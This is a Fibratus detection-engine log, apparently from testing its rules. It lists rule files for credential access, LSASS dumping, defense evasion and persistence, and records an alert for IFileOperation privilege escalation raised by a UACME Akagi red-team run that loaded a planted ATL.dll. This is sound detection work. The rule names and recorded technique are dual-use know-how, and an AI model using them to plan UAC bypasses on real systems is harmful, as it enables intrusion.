+time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:29:08+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T20:29:08+01:00 level=info msg=bootstrapping with pid 18376. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T20:29:08+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true content-type=>text/html enabled=>false port=>25 to=>[]] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false] + eventsource .................... [ buffer-size=>512 enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-threadpool=>false enable-dns=>false enable-thread=>true flush-interval=>1s max-buffers=>36 enable-vamap=>true min-buffers=>16 enable-registry=>true enable-mem=>false enable-fileio=>true enable-image=>true enable-audit-api=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info max-backups=>15 formatter=>text max-age=>0 log-stdout=>true] + output ......................... [ elasticsearch=>[ bulk-workers=>1 gzip-compression=>false enabled=>false template-name=>fibratus sniff=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus timeout=>5s trace-log=>false healthcheck-interval=>10s flush-period=>1s healthcheck-timeout=>5s healthcheck=>true] amqp=>[ vhost=>/ url=>amqp://localhost:5672 routing-key=>fibratus exchange=>fibratus passive=>false delivery-mode=>transient enabled=>false durable=>false tls-insecure-skip-verify=>false exchange-type=>topic timeout=>5s] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] http=>[ endpoints=>[] serializer=>json tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false timeout=>5s method=>POST]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-mmaps=>false fastscan=>true scan-timeout=>10s skip-allocs=>false skip-files=>false excluded-files=>[] enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T20:29:08+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T20:29:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T20:29:31+01:00 level=error msg=unable to parse PE exports for module [C:\Windows\System32\wbem\ATL.dll]: open C:\Windows\System32\wbem\ATL.dll: The system cannot find the file specified. source=symbolize/symbolizer.go:246 +time=2025-11-20T20:29:31+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 752154 + Pid: 4196 + Tid: 16320 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 20:29:16.8805506 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffbd097b777270, file_path➜ C:\Windows\System32\wbem\ATL.dl~, irp➜ ffffbd09773f20f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 16320, type➜ File + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, rule.seq.link: C:\Windows\System32\wbem\ATL, rule.name: Potential privilege escalation via IFileOperation abuse + + Pid: 4196 + Ppid: 1228 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[] + + + + Seq: 759120 + Pid: 4968 + Tid: 18176 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-20 20:29:17.2939098 +0100 CET + Params: base_address➜ 7ff952770000, checksum➜ 38076, default_address➜ 7ff952770000, file_path➜ C:\Windows\System32\wbem\ATL.dll, image_size➜ 53248, pid➜ 4968, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: C:\Windows\System32\wbem\ATL, rule.name: Potential privilege escalation via IFileOperation abuse + + Pid: 4968 + Ppid: 12172 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" WmiMgmt.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 77 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" WmiMgmt.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-20T20:29:31+01:00 level=error msg=unable to parse PE exports for module [C:\Windows\System32\wbem\ATL.dll]: open C:\Windows\System32\wbem\ATL.dll: The system cannot find the file specified. source=symbolize/symbolizer.go:246 +time=2025-11-20T20:32:09+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T20:32:09+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T20:32:10+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T20:33:31+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T20:33:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:33:32+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T20:33:32+01:00 level=info msg=bootstrapping with pid 12716. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T20:33:32+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 use-template=>true enabled=>false to=>[] content-type=>text/html] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-threadpool=>false enable-dns=>false enable-thread=>true enable-vamap=>true enable-image=>true enable-fileio=>true stack-enrichment=>true enable-mem=>false max-buffers=>36 enable-registry=>true enable-handle=>false enable-net=>true min-buffers=>16 enable-audit-api=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 level=>info max-size=>100 formatter=>text log-stdout=>true] + output ......................... [ eventlog=>[ level=>info enabled=>false] amqp=>[ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false timeout=>5s exchange-type=>topic exchange=>fibratus vhost=>/ passive=>false routing-key=>fibratus durable=>false] elasticsearch=>[ timeout=>5s gzip-compression=>false flush-period=>1s index-name=>fibratus template-name=>fibratus trace-log=>false healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s sniff=>false healthcheck-interval=>10s enabled=>false bulk-workers=>1] http=>[ enabled=>false endpoints=>[] tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false method=>POST timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false enabled=>false skip-registry=>false scan-timeout=>10s fastscan=>true skip-mmaps=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T20:33:32+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T20:33:34+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T20:33:54+01:00 level=error msg=unable to parse PE exports for module [C:\Windows\System32\wbem\ATL.dll]: open C:\Windows\System32\wbem\ATL.dll: The system cannot find the file specified. source=symbolize/symbolizer.go:246 +time=2025-11-20T20:33:54+01:00 level=info 